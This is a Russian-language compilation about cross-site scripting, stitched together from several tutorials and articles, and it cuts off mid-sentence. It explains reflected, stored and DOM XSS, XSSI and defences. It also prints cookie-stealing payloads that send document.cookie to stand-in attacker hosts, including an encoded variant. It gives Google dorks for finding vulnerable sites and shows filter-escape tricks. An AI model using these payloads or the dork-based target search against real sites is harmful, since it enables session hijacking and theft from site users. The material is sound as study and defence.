Xss инъекции. Использование XSS уязвимостей по максимуму

Cross-Site Scripting или XSS. Межсайтовый скриптинг (межсайтовое выполнение сценариев).

Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Этот код обычно создается на языках HTML /JavaScript , но могут быть использованы VBScript, ActiveX, Java, Flash, или другие поддерживаемые браузером технологии.

Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя эти привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера. У атакованного пользователя может быть скомпрометирован аккакунт (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Код может передаваться злоумышленником в URL , в заголовках Методы и структура протокола HTTP запроса (Cookie , user-agent, refferer), значениях полей форм и т.д.

Существует три типа атак, приводящих к межсайтовому выполнению сценариев: non-persistent непостоянные (отраженные), persistent постоянные (сохраненные) и основанные на DOM . Основным отличием между persistent и non-persistent является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляется в рамках одного HTTP- запроса, а в хранимом - в разных.

Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по email, ICQ и т.д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса будет передан клиенту и выполнен в его браузере.

Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с Web- интерфейсом и чаты. Для атаки пользователю не обязательно переходить по ссылке, достаточно посетить уязвимый сайт.

Пример. Сохраненный (persistent) вариант атаки. Многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру

сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Пример кода для передачи cookie:

document.location= "http://attackerhost.example/cgi- bin/cookiesteal.cgi?"+document.cookie

Пример. Отраженный (non-persistent) вариант атаки. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице.

К примеру, при переходе по URL http://portal.example/search?q= ”fresh beer” пользователю будет отображена страница, содержащая результаты поиска и фразу: "По вашему запросу fresh beer найдено 0 страниц". Если в качестве искомой фразы будет передан Javascript, он выполнится в браузере пользователя. Пример:

Http://portal.example/search/?q=alert("xss")

Для сокрытия кода сценария может быть использована кодировка URLEncode

Http://portal.example/index.php?sessionid=12312312& username=%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D%65 %6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70 %3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E%65 %78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F %6F%6B%69%65%73%74%65%61%6C%2E%63%67%69%3F%27%2B%64 %6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3C%2F%73 %63%72%69%70%74%3E

Флэнаган Дэвид JavaScript

Выдержка из книги Флэнаган Дэвид JavaScript Полное руководство 5 издание.

Термин межсайтовый скриптинг (cross"site scripting), или XSS, относится к области компьютерной уязвимости, когда атакующий внедряет HTML теги или сценарии в документы на уязвимом вебсайте. Организация защиты от XSS атак – обычное дело для вебразработчиков, занимающихся созданием серверных сценариев. Однако программисты, разрабатывающие клиентские JavaScript сценарии, также должны знать о XSS атаках и предпринимать меры защиты от них.

Веб страница считается уязвимой для XSS атак, если она динамически создает содержимое документа на основе пользовательских данных, не прошедших предварительную обработку по удалению встроенного HTML кода. В качестве тривиального примера рассмотрим следующую веб-страницу, которая использует JavaScript сценарий, чтобы приветствовать пользователя по имени:

var name = decodeURIComponent(window.location.search.substring(6)) || ""; document.write("Привет " + name);

Во второй строке сценария вызывается метод window.location.search.substring, с помощью которого извлекается часть адресной строки, начинающаяся с символа?. Затем с помощью метода document.write() добавляется динамически сгенерированное содержимое документа. Этот сценарий предполагает, что обращение к вебстранице будет производиться с помощью примерно такого URL адреса:

Http://www.example.com/greet.html?name=Давид

В этом случае будет выведен текст «Привет Давид». Но что произойдет, если страница будет запрошена с использованием следующего URL адреса:

Http://www.example.com/greet.html?name=%3Cscript%3Ealert("Давид")%3C/script%3E

С таким содержимым URL адреса сценарий динамически сгенерирует другой сценарий (коды %3C и %3E – это угловые скобки)! В данном случае вставленный сценарий просто отобразит диалоговое окно, которое не представляет никакой опасности. Но представьте себе такой случай:

Http://siteA/greet.html?name=%3Cscript src=siteB/evil.js%3E%3C/script%3E

Межсайтовый скриптинг потому так и называется, что в атаке участвует более одного сайта. Сайт B (или даже сайт C) включает специально сконструированную ссылку (подобную только что показанной) на сайт A, в которой содержится сценарий с сайта B. Сценарий evil.js размещается на сайте злоумышленника B, но теперь этот сценарий оказывается внедренным в сайт A и может делать все, что ему заблагорассудится с содержимым сайта A. Он может стереть страницу или вызвать другие нарушения в работе сайта (например, отказать в обслуживании, о чем рассказывается в следующем разделе). Это может отрицательно сказаться на посетителях сайта A. Гораздо опаснее, что такой злонамеренный сценарий может прочитать содержимое cookies, хранящихся на сайте A (возможно содержащих учетные номера или другие персональные сведения), и отправить эти данные обратно на сайт B. Внедренный сценарий может даже отслеживать нажатия клавиш и отправлять эти данные на сайт B.

Универсальный способ предотвращения XSSатак заключается в удалении HTML тегов из всех данных сомнительного происхождения, прежде чем использовать их для динамического создания содержимого документа. Чтобы исправить эту проблему в показанном ранее файле greet.html, нужно добавить следующую строку в сценарий, которая призвана удалять угловые скобки, окружающие тег :

Name = name.replace(//g, ">");

Межсайтовый скриптинг представляет собой уязвимость, глубоко уходящую корнями в архитектуру Всемирной паутины. Необходимо осознавать всю глубину этой уязвимости.

Межсайтовый скриптинг (XSS) - это уязвимость, которая заключается во внедрении кода, исполняемого на стороне клиента (JavaScript) в веб-страницу, которую просматривают другие пользователи.

Уязвимость возникает из-за недостаточной фильтрации данных, которые пользователь отправляет для вставки в веб-страницу. Намного проще понять на конкретном пример. Вспомните любую гостевую книгу - это программы, которые предназначены для принятия данных от пользователя и последующего их отображения. Представим себе, что гостевая книга никак не проверяет и не фильтрует вводимые данные, а просто их отображает.

Можно набросать свой простейший скрипт (нет ничего проще, чем писать плохие скрипты на PHP - этим очень многие занимаются). Но уже предостаточно готовых вариантов. Например, я предлагаю начать знакомство с Dojo и OWASP Mutillidae II. Там есть похожий пример. В автономной среде Dojo перейдите в браузере по ссылке: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Если кто-то из пользователей ввёл:

То веб-страница отобразит:

Привет! Нравится твой сайт.

А если пользователь введёт так:

Привет! Нравится твой сайт.alert("Pwned")

То отобразиться это так:

Браузеры хранят множества кукиз большого количества сайтов. Каждый сайт может получить кукиз только сохранённые им самим. Например, сайт example.com сохранил в вашем браузере некоторые кукиз. Вы заши на сайт another.com, этот сайт (клиентские и серверные скрипты) не могут получить доступ к кукиз, которые сохранил сайт example.com.

Если сайт example.com уязвим к XSS, то это означает, что мы можем тем или иным способом внедрить в него код JavaScript, и этот код будет исполняться от имени сайта example.com! Т.е. этот код получит, например, доступ к кукиз сайта example.com.

Думаю, все помнят, что исполняется JavaScript в браузерах пользователей, т.е. при наличии XSS, внедрённый вредоносный код получает доступ к данным пользователя, который открыл страницу веб-сайта.

Внедрённый код умеет всё то, что умеет JavaScript, а именно:

• получает доступ к кукиз просматриваемого сайта
• может вносить любые изменения во внешний вид страницы
• получает доступ к буферу обмена
• может внедрять программы на JavaScript, например, ки-логеры (перехватчики нажатых клавиш)
• подцеплять на BeEF
• и др.

Простейший пример с кукиз:

alert(document.cookie)

На самом деле, alert используется только для выявления XSS. Реальная вредоносная полезная нагрузка осуществляет скрытые действия. Она скрыто связывается с удалённым сервером злоумышленника и передаёт на него украденные данные.

Виды XSS

Самое главное, что нужно понимать про виды XSS то, что они бывают:

• Хранимые (Постоянные)
• Отражённые (Непостоянные)

Пример постоянных:

• Введённое злоумышленником специально сформированное сообщение в гостевую книгу (комментарий, сообщение форума, профиль) которое сохраняется на сервере, загружается с сервера каждый раз, когда пользователи запрашивают отображение этой страницы.
• Злоумышленник получил доступ к данным сервера, например, через SQL инъекцию, и внедрил в выдаваемые пользователю данные злонамеренный JavaScript код (с ки-логерами или с BeEF).

Пример непостоянных:

• На сайте присутствует поиск, который вместе с результатами поиска показывает что-то вроде «Вы искали: [строка поиска]», при этом данные не фильтруются должным образом. Поскольку такая страница отображается только для того, у кого есть ссылка на неё, то пока злоумышленник не отправит ссылку другим пользователям сайта, атака не сработает. Вместо отправки ссылки жертве, можно использовать размещение злонамеренного скрипта на нейтральном сайте, который посещает жертва.

Ещё выделяют (некоторые в качестве разновидности непостоянных XSS уязвимостей, некоторые говорят, что этот вид может быть и разновидностью постоянной XSS):

• DOM-модели

Особенности XSS основанных на DOM

Если сказать совсем просто, то злонамеренный код «обычных» непостоянных XSS мы можем увидеть, если откроем HTML код. Например, ссылка сформирована подобным образом:

Http://example.com/search.php?q="/>alert(1)

А при открытии исходного HTML кода мы видим что-то вроде такого:

alert(1)" /> Найти

А DOM XSS меняют DOM структуру, которая формируется в браузере на лету и увидеть злонамеренный код мы можем только при просмотре сформировавшейся DOM структуры. HTML при этом не меняется. Давайте возьмём для примера такой код:

сайт:::DOM XSS An error occurred... function OnLoad() { var foundFrag = get_fragment(); return foundFrag; } function get_fragment() { var r4c = "(.*?)"; var results = location.hash.match(".*input=token(" + r4c + ");"); if (results) { document.getElementById("default").innerHTML = ""; return (unescape(results)); } else { return null; } } display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

")

То в браузере мы увидим:

Исходный код страницы:

Давайте сформируем адрес следующим образом:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Теперь страница выглядит так:

Но давайте заглянем в исходный код HTML:

Там совершенно ничего не изменилось. Про это я и говорил, нам нужно смотреть DOM структуру документа, чтобы выявить злонамеренный код:

Здесь приведён рабочий прототип XSS, для реальной атаки нам нужна более сложная полезная нагрузка, которая невозможна из-за того, что приложение останавливает чтение сразу после точки с запятой, и что-то вроде alert(1);alert(2) уже невозможно. Тем не менее, благодаря unescape() в возвращаемых данных мы можем использовать полезную нагрузку вроде такой:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Где мы заменили символ ; на кодированный в URI эквивалент!

Теперь мы можем написать вредоносную полезную нагрузку JavaScript и составить ссылку для отправки жертве, как это делается для стандартного непостоянного межсайтового скриптинга.

XSS Auditor

В Google Chrome (а также в Opera, которая теперь использует движок Google Chrome), меня ждал вот такой сюрприз:

dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token<script>alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.

Т.е. теперь в браузере есть XSS аудитор, который будет пытаться предотвращать XSS. В Firefox ещё нет такой функциональности, но, думаю, это дело времени. Если реализация в браузерах будет удачной, то можно говорить о значительном затруднении применения XSS.

Полезно помнить, что современные браузеры предпринимают шаги по ограничение уровня эксплуатации проблем вроде непостоянных XSS и основанных на DOM XSS. В том числе это нужно помнить при тестировании веб-сайтов с помощью браузера - вполне может оказаться, что веб-приложение уязвимо, но вы не видите всплывающего подтверждения только по той причине, что его блокирует браузер.

Примеры эксплуатирования XSS

Злоумышленники, намеревающиеся использовать уязвимости межсайтового скриптинга, должны подходить к каждому классу уязвимостей по-разному. Здесь описаны векторы атак для каждого класса.

При уязвимостях XSS в атаках может использоваться BeEF, который расширяет атаку с веб-сайта на локальное окружение пользователей.

Пример атаки с непостоянным XSS

1. Алиса часто посещает определённый веб-сайт, который хостит Боб. Веб-сайт Боба позволяет Алисе осуществлять вход с именем пользователя/паролем и сохранять чувствительные данные, такие как платёжная информация. Когда пользователь осуществляет вход, браузер сохраняет куки авторизации, которые выглядят как бессмысленные символы, т.е. оба компьютера (клиент и сервер) помнят, что она вошла.

2. Мэлори отмечает, что веб-сайт Боба содержит непостоянную XSS уязвимость:

2.1 При посещении страницы поиска, она вводим строку для поиска и кликает на кнопку отправить, если результаты не найдены, страница отображает введённую строку поиска, за которой следуют слова «не найдено» и url имеет вид http://bobssite.org?q=её поисковый запрос

2.2 С нормальным поисковым запросом вроде слова «собачки » страница просто отображает «собачки не найдено» и url http://bobssite.org?q=собачки , что является вполне нормальным поведением.

2.3 Тем не менее, когда в поиск отправляется аномальный поисковый запрос вроде alert("xss"); :

2.3.1 Появляется сообщение с предупреждением (которое говорит "xss").

2.3.2 Страница отображает alert("xss"); не найдено наряду с сообщением об ошибке с текстом "xss".

2.3.3 url, пригодный для эксплуатации http://bobssite.org?q=alert("xss");

3. Мэлори конструирует URL для эксплуатации уязвимости:

3.1 Она делает URL http://bobssite.org?q=puppies . Она может выбрать конвертировать ASCII символы в шестнадцатеричный формат, такой как http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E для того, чтобы люди не смогли немедленно расшифровать вредоносный URL.

3.2 Она отправляет e-mail некоторым ничего не подозревающим членом сайта Боба, говоря: «Зацените клёвых собачек».

4. Алиса получает письмо. Она любит собачек и кликает по ссылке. Она переходит на сайт Боба в поиск, она не находит ничего, там отображается «собачки не найдено», а в самой середине запускается тэг со скриптом (он невидим на экране), загружает и выполняет программу Мэлори authstealer.js (срабатывание XSS атаки). Алиса забывает об этом.

5. Программа authstealer.js запускается в браузере Алисы так, будто бы её источником является веб-сайт Боба. Она захватывает копию куки авторизации Алисы и отправляет на сервер Мэлори, где Мэлори их извлекает.

7. Теперь, когда Мэлори внутри, она идёт в платёжный раздел веб-сайта, смотрит и крадёт копию номера кредитной карты Алисы. Затем она идёт и меняет пароль, т.е. теперь Алиса даже не может больше зайти.

8. Она решает сделать следующий шаг и отправляет сконструированную подобным образом ссылку самому Бобу, и таким образом получает административные привилегии сайта Боба.

Атака с постоянным XSS

Мэлори имеет аккаунт на сайте Боба.

Мэлори замечает, что веб-сайт боба содержит постоянную XSS уязвимость. Если вы переходите в новый раздел, размещаете комментарий, то он отображает что бы в него не напечатали. Но если текст комментария содержит HTML тэги, эти тэги будут отображены как есть, и любые тэги скриптов запускаются.

Мэлори читает статью в разделе Новости и пишет комментарий в разделе Комментарии. В комментарий она вставляет текст:

В этой истории мне так понравились собачки. Они такие славные!

Когда Алиса (или ещё кто-либо) загружают страницу с этим комментарием, тэг скрипта Мэлори запускается и ворует куки авторизации Алисы, отправляет на секретный сервер Мэлори для сбора.

Мэлори теперь может перехватить сессию Алисы и выдать себя за Алису.

Поиск сайтов уязвимых к XSS

Дорки для XSS

Первым шагом является выбор сайтов, на которых мы будем выполнять XSS атаки. Сайты можно искать с помощью дорков Google. Вот несколько из таких дорков, которые скопируйте и вставьте в поиск Гугла:

• inurl:search.php?q=
• inurl:.php?q=
• inurl:search.php
• inurl:.php?search=

Перед нами откроется список сайтов. Нужно открыть сайт и найти на нём поля ввода, такие как форма обратной связи, форма ввода, поиск по сайту и т.д.

Сразу замечу, что практически бесполезно искать уязвимости в популярных автоматически обновляемых веб-приложениях. Классический пример такого приложения - WordPress. На самом деле, уязвимости в WordPress, а в особенности в его плагинах, имеются. Более того, есть множество сайтов, которые не обновляют ни движок WordPress (из-за того, что веб-мастер внёс в исходный код какие-то свои изменения), ни плагины и темы (как правило, это пиратские плагины и темы). Но если вы читаете этот раздел и узнаёте из него что-то новое, значит WordPress пока не для вас… К нему обязательно вернёмся позже.

Самые лучшие цели - это разнообразные самописные движки и скрипты.

В качестве полезной нагрузки для вставки можно выбрать

alert(1)

Обращайте внимание, в какие именно тэги HTML кода попадает ваш внедрённый код. Вот пример типичного поля ввода (input ):

alert(1)

Наша полезная нагрузка попадёт туда, где сейчас слово «наволочка». Т.е. превратиться в значение тэга input . Мы можем этого избежать - закроем двойную кавычку, а затем и сам тэг с помощью "/>

"/>alert(1)

Давайте попробуем её для какого-нибудь сайта:

Отлично, уязвимость имеется

Программы для поиска и сканирования XSS уязвимости

Наверное, все сканеры веб-приложений имеют встроенный сканер XSS уязвимостей. Эта тема неохватная, лучше знакомиться с каждым подобным сканером отдельно.

Про возможность получения различной информации со сторонних сайтов с помощью простой атаки - Cross Site Scripting Inclusion (XSSI).

Если ты читаешь Easy Hack систематически, то, наверное, уже хорошо знаком с Same Origin Policy (SOP), мы к нему часто возвращаемся. Из-за SOP возможность взаимодействия между двумя «сайтами» очень ограничена. Но так как задача получения и оправки информации на одном сайте с другого возникает часто, то были внедрены различные методы для «смягчения» политики и организации взаимодействия. Например, такие, как CORS или crossdomain.xml. Один из более старых методов - подгрузка JavaScript с другого домена через тег . SOP нас здесь ничем не ограничивает: можно указать практически произвольное месторасположение.

К примеру, есть хост атакующего evil.ru и сайт жертвы - victim.com. На evil.ru мы можем положить файл HTML и сослаться на любой скрипт у жертвы:

При входе пользователя на сайт атакующего браузер подгрузит и запустит JS с victim.com, но в контексте SOP evil.ru. Это значит, что из JS самого атакующего мы сможем получить доступ к данным (не всем) JS с сервера жертвы.

Например, содержимое JS c cайта-жертвы (http://victim.com/any_script_.js):

Var a = "12345";

Тогда на сайте атакующего мы можем получить значение переменной:

console.log(a);

Идея работы проста, как алюминиевый чайник.

По сути, возможность подгружать с других сайтов статический JS несет в себе не больше проблем для сайта-жертвы, чем погрузка картинки.

Проблемы могут возникнуть, когда JS формируется динамически, то есть когда контент JS-скрипта меняется на основании данных из cookie в зависимости от того, какой пользователь к нему обращается. Например, в JS хранится какая-то «критичная» информация: персональные сведения (email, имя пользователя на сайте-жертве) или техническая инфа (анти CSRF-токены).

Но, как мы знаем, при подгрузке скрипта через тег браузер пользователя автоматически отправляет cookie пользователя. Сложив эти факты, мы получаем возможность получать информацию о любом пользователе, который зашел на сайт атакующего и при этом залогинен на сайте-жертве.

Что же мы можем узнать? Глобальные переменные и результаты работы глобальных функций. К сожалению, доступа к внутренним переменным/функциям нам не получить (хотя, возможно, кто-то найдет способ сделать и это).

Function test(){ return "private data frm function"; }

Такая атака выглядит возможной, но кажется, что она слишком проста и не должна быть распространенной. Этим и интересна презентация на Black Hat. Исследователи проанализировали 150 популярных сайтов и обнаружили, что в той или иной мере уязвима треть из них. Такая статистика заставляет взглянуть на проблему чуть более пристально.

Была выявлена и еще одна закономерность. Content Security Policy становится все более распространенной. Как ты знаешь, с ней мы можем указать, с каких доменов может быть подгружен тот или иной ресурс. Например, можно сказать исполнять JS только с того же ресурса. Кроме того, лучшие практики настройки CSP подразумевают запрет на запуск inline JS (то есть кода, который находится прямо в HTML, а не подгружен из JS-файла).

Однако перенос inline в файлы может быть сделан с костылями и на скорую руку - то есть посредством динамически генерируемых скриптов. Так как CSP никак не влияет на XSSI, мы опять-таки можем проводить наши атаки. Вот такая вот bad practice.

Ори Сигал (Ory Segal)

Узнайте, как хакеры используют атаку типа "межсайтовый скриптинг", что она повреждает (а что - нет), как их определять, а также как защитить свой Web-сайт и его посетителей от подобных злоумышленных нарушений конфиденциальности и безопасности.

Межсайтовый скриптинг (cross-site scripting, или сокращенно XSS) - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. XSS - это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-либо целей. Большинство атак подразумевает участие двух сторон: либо злоумышленника и Web-сайт, либо злоумышленника и жертву-клиента. Однако в атаке XSS участвуют три стороны: злоумышленник, клиент и Web-сайт.

Целью атаки XSS является кража с компьютера клиента файлов cookie или другой конфиденциальной информации, которая может идентифицировать клиента на Web-сайте. Располагая информацией для идентификации в качестве легального пользователя, злоумышленник может действовать на сайте в качестве такого пользователя, т.е. притворяться им. Например, при одном аудите, проводимом в большой компании, можно было с помощью атаки XSS получить частную информацию пользователя и номер его кредитной карты. Это было достигнуто путем запуска специального кода на JavaScript. Этот код был запущен в браузере жертвы (клиента), у которой были привилегии доступа на Web-сайт. Есть очень ограниченное число привилегий JavaScript, которые не дают доступ скрипта ни к чему, кроме информации, относящейся к сайту. Важно подчеркнуть, что, хотя уязвимость и существует на Web-сайте, сам он напрямую не повреждается. Но этого достаточно, чтобы скрипт собрал файлы cookie и отправил их злоумышленнику. В итоге злоумышленник получает нужные данные и может имитировать жертву.

Давайте назовем атакуемый сайт следующим образом: www.vulnerable.site . В основе традиционной атаки XSS лежит уязвимый скрипт, который находится на уязвимом сайте. Этот скрипт считывает часть HTTP-запроса (обычно параметры, но иногда также HTTP-заголовки или путь) и повторяет его для ответной страницы, полностью или только часть. При этом не производится очистка запроса (т.е. не проверяется, что запрос не содержит код JavaScript или тэги HTML). Предположим, что этот скрипт называется welcome.cgi, и его параметром является имя. Его можно использовать следующим образом:

Как этим можно злоупотребить? Злоумышленник должен суметь завлечь клиента (жертву), чтобы он щелкнул мышью ссылку, которую злоумышленник ему предоставляет. Это тщательно и злонамеренно подготовленная ссылка, которая заставляет Web-браузер жертвы обратиться к сайту (www.vulnerable.site) и выполнить уязвимый скрипт. Данные для этого скрипта содержат код на JavaScript, который получает доступ к файлам cookie, сохраненным браузером клиента для сайта www.vulnerable.site. Это допускается, поскольку браузер клиента "думает", что код на JavaScript исходит от сайта www.vulnerable.site. А модель безопасности JavaScript позволяет скриптам, исходящим от определенного сайта, получать доступ к файлам cookie, которые принадлежат этому сайту.

Ответ уязвимого сайта будет следующим:

Welcome! Hi alert(document.cookie) Welcome to our system ...

Браузер клиента-жертвы интерпретирует этот запрос как HTML-страницу, содержащую часть кода на JavaScript. Этот код при выполнении получит доступ ко всем файлам cookie, принадлежащим сайту www.vulnerable.site. Следовательно, он вызовет всплывающее окно в браузере, показывающее все файлы cookie клиента, которые относятся к www.vulnerable.site.

Конечно, реальная атака подразумевала бы отправку этих файлов атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать скрипт для получения файлов cookie. Вместо вызова всплывающего окна злоумышленник написал бы код, который обращается по URL-адресу к сайту www.attacker.site. В связи с этим выполняется скрипт для получения файлов cookie. Параметром для этого скрипта служат украденные файлы cookie. Таким образом, злоумышленник может получить файлы cookie с сервера www.attacker.site.

Немедленно после загрузки этой страницы браузер выполнит вставленный туда код JavaScript и перешлет запрос скрипту collect.cgi на сайте www.attacker.site вместе со значением файлов cookie с сайта www.vulnerable.site, которые уже есть в браузере. Это подрывает безопасность файлов cookie сайта www.vulnerable.site, которые есть у клиента. Это позволяет злоумышленнику притвориться жертвой. Конфиденциальность клиента полностью нарушена.

Примечание.
Обычно вызова всплывающего окна с помощью JavaScript достаточно, чтобы продемонстрировать уязвимость сайта к атаке XSS. Если из JavaScript можно вызвать функцию Alert, то обычно нет причин, по которым вызов может не получиться. Вот почему большинство примеров атак XSS использует функцию Alert, которая очень легко позволяет определить успех атаки.

Атака может произойти только в браузере жертвы, том же самом, который использовался для доступа к сайту (www.vulnerable.site). Атакующий должен заставить клиента получить доступ к вредоносной ссылке. Этого можно добиться несколькими способами.

• Злоумышленник посылает по электронной почте сообщение, содержащее HTML-страницу, которая заставляет браузер открыть ссылку. Для этого требуется, чтобы жертва использовала клиент электронной почты, способный работать с HTML. А средством просмотра HTML в клиенте должен быть тот же браузер, который используется для доступа к сайту www.vulnerable.site.

• Клиент посещает сайт, возможно, созданный злоумышленником, на котором ссылка на изображение или другой активный элемент HTML заставляет браузер открыть ссылку. Опять же в этом случае обязательно, чтобы для доступа и к этому сайту, и к сайту www.vulnerable.site использовался один и тот же браузер.

Вредоносный код на JavaScript может получить доступ к любой перечисленной ниже информации:

• постоянные файлы cookie (сайта www.vulnerable.site), которые сохраняет браузер;
• файлы cookie в оперативной памяти (сайта www.vulnerable.site), которые поддерживаются экземпляром браузера только при просмотре сайта www.vulnerable.site;
• имена других окон, открытых для сайта www.vulnerable.site.
• любая информация, которая доступна через текущую модель DOM (из значений, кода HTML и т.д.).

Данные для идентификации, авторизации и аутентификации обычно хранятся в виде файлов cookie. Если эти файлы cookie постоянные, то жертва уязвима для атаки даже тогда, когда она не использует браузер в момент доступа к сайту www.vulnerable.site. Однако если файлы cookie - временные (например, они хранятся в оперативной памяти), то на стороне клиента должен существовать сеанс связи с сайтом www.vulnerable.site.

Еще одна возможная реализация идентификационной метки - это параметр URL. В подобных случаях можно получить доступ к другим окнам, используя JavaScript следующим образом (предположим, что имя страницы с нужными параметрами URL - foobar):

var victim_window=open(","foobar");alert("Can access: " +victim_window.location.search)

Чтобы запустить скрипт на JavaScript, можно использовать множество тэгов HTML, помимо . На самом деле, вредоносный код JavaScript также можно разместить на другом сервере, а затем заставить клиента загрузить скрипт и выполнить его. Это может быть полезным, если нужно запустить большой объем кода, либо если код содержит специальные символы.

Вот несколько вариаций этих возможностей.

• Вместо ... хакеры могут использовать конструкцию . Это подходит для сайтов, которые фильтруют HTML-тэг .

• Вместо ... можно использовать конструкцию . Это хорошо в ситуации, когда код на JavaScript слишком длинный, или если он содержит запрещенные символы.

Иногда данные, внедренные в ответную страницу, находятся в платном HTML-контексте. В этом случае сначала нужно "сбежать" в бесплатный контекст, а затем предпринять атаку XSS. Например, если данные вставляются в качестве значения по умолчанию для поля формы HTML:

А итоговый код HTML будет следующим:

window.open ("http://www.attacker.site/collect.cgi?cookie="+document.cookie)"> До сих пор мы видели, что атака XSS может происходить в параметре запроса GET, на который отвечает скрипт. Но выполнить атаку можно и с помощью запроса POST, либо с использованием компонента пути запроса HTTP, и даже с помощью некоторых заголовков HTTP (например, Referer). В частности, компонент пути (path) полезен, когда страница ошибки возвращает ошибочный путь. В этом случае включение вредоносного скрипта в путь часто приводит к его выполнению. Многие Web-серверы уязвимы для этой атаки. Важно понимать, что, хотя Web-сайт и не затронут напрямую этой атакой (он продолжает нормально работать, вредоносный код на нем не выполняется, атака DoS не происходит, и данные с сайта напрямую не считываются и не подделываются), это все же брешь в системе безопасности, которую сайт предлагает своим клиентам или посетителям. Это похоже на сайт, который используется для развертывания приложения со слабыми метками безопасности. Из-за этого злоумышленник может угадать метку безопасности клиента и притвориться им (или ей). Слабым местом в приложении является скрипт, который возвращает свой параметр независимо от его значения. Хороший скрипт должен убедиться, что у параметра правильный формат, что он содержит приемлемые символы и т.д. Обычно нет причин, чтобы правильный параметр содержал тэги HTML или код JavaScript. Они должны быть удалены из параметра до того, как он будет внедрен в ответ или использован в приложении. Это позволит обеспечить безопасность. Обезопасить сайт от атак XSS можно тремя способами. С помощью выполнения собственной фильтрации входных данных (которую иногда называют входным санитарным контролем, или input sanitation). Для каждого ввода пользователя (будь это параметр или заголовок HTML), в каждом написанным самостоятельно скрипте следует применять расширенные средства фильтрации против тэгов HTML, включая код JavaScript. Например, скрипт welcome.cgi из предыдущего примера должен фильтровать тэг после декодирования параметра имени. Этот метод имеет несколько серьезных недостатков. Он требует от прикладного программиста хорошего знания технологий безопасности. Он требует от программиста охвата всех возможных источников входных данных (параметров запросов, параметров тела запросов POST, заголовков HTTP). Он не может защитить от уязвимостей в скриптах или серверах сторонних производителей. Например, он не защитит от проблем в страницах ошибки на Web-серверах (которые отображают путь источника). Выполнение "выходной фильтрации", т.е. фильтрация пользовательских данных, когда они пересылаются обратно в браузер, а не когда их получает скрипт. Хорошим примером этого подхода может стать скрипт, который вставляет данные в базу данных, а затем их отображает. В этом случае важно применять фильтр не исходной входной строке, а только к выходной версии. Недостатки этого метода похожи на недостатки входной фильтрации. Установка межсетевого экрана приложений (брандмауэра) стороннего производителя. Этот экран перехватывает атаки XSS до того, как они достигнут Web-сервера и уязвимых скриптов, и блокирует их. Межсетевые экраны приложений могут охватывать все методы ввода, работая с ними общим способом (включая путь и заголовки HTTP), независимо от скрипта или пути из собственного приложения, скрипта стороннего производителя или скрипта, который вообще не описывает никаких ресурсов (например, предназначенный для того, чтобы спровоцировать ответную страницу 404 с сервера). Для каждого источника входных данных межсетевой экран приложений проверяет данные на наличие различных образцов тэгов HTML и кода JavaScript. Если есть какие-то совпадения, то запрос блокируется, и вредоносные данные не достигают сервера. Логическим завершением защиты сайта является проверка его защищенности от атак XSS. Как и защита сайта от XSS, проверку степени защиты можно проводить вручную (трудный способ), либо с помощью автоматизированного средства оценки уязвимости Web-приложений. Такой инструмент снимет с вас нагрузку, связанную с проверкой. Эта программа перемещается по сайту и запускает все известные ей варианты для всех скриптов, которые она обнаруживает. При этом пробуются все параметры, заголовки и пути. В обоих методах каждый ввод в приложение (параметры всех скриптов, заголовки HTTP, пути) проверяется с максимально возможным количеством вариантов. И если ответная страница содержит код JavaScript в контексте, где браузер может его выполнить, то появляется сообщение об уязвимости к XSS. Например, при отправке следующего текста: alert(document.cookie) каждому параметру каждого скрипта (через браузер с возможностями работы с JavaScript, чтобы выявить простейший вид уязвимости к XSS) браузер вызовет окно JavaScript Alert, если текст интерпретирован как код JavaScript. Конечно, есть несколько вариантов. Поэтому тестировать только этот вариант недостаточно. И, как вы уже узнали, можно вставлять код JavaScript в различные поля запроса: параметры, заголовки HTTP и путь. Однако в некоторых случаях (особенно с заголовком HTTP Referer) выполнять атаку с помощью браузера неудобно. Межсайтовый скриптинг - это одна из самых частых атак уровня приложения, которую хакеры используют для взлома Web-приложений. Также она является и самой опасной. Это атака на конфиденциальность информации клиентов определенного Web-сайта. Она может привести к полному разрушению системы безопасности, когда данные клиента крадутся и используются в дальнейшем для каких-то целей. К сожалению, как поясняет эта статья, это часто делается без знаний об атакуемом клиенте или организации. Чтобы предотвратить уязвимость Web-сайтов к этим вредоносным действиям, важно, чтобы организация реализовала стратегию и онлайн-, и оффлайн-защиты. Это включает в себя средство автоматизированной проверки уязвимости, которое может протестировать на наличие всех известных 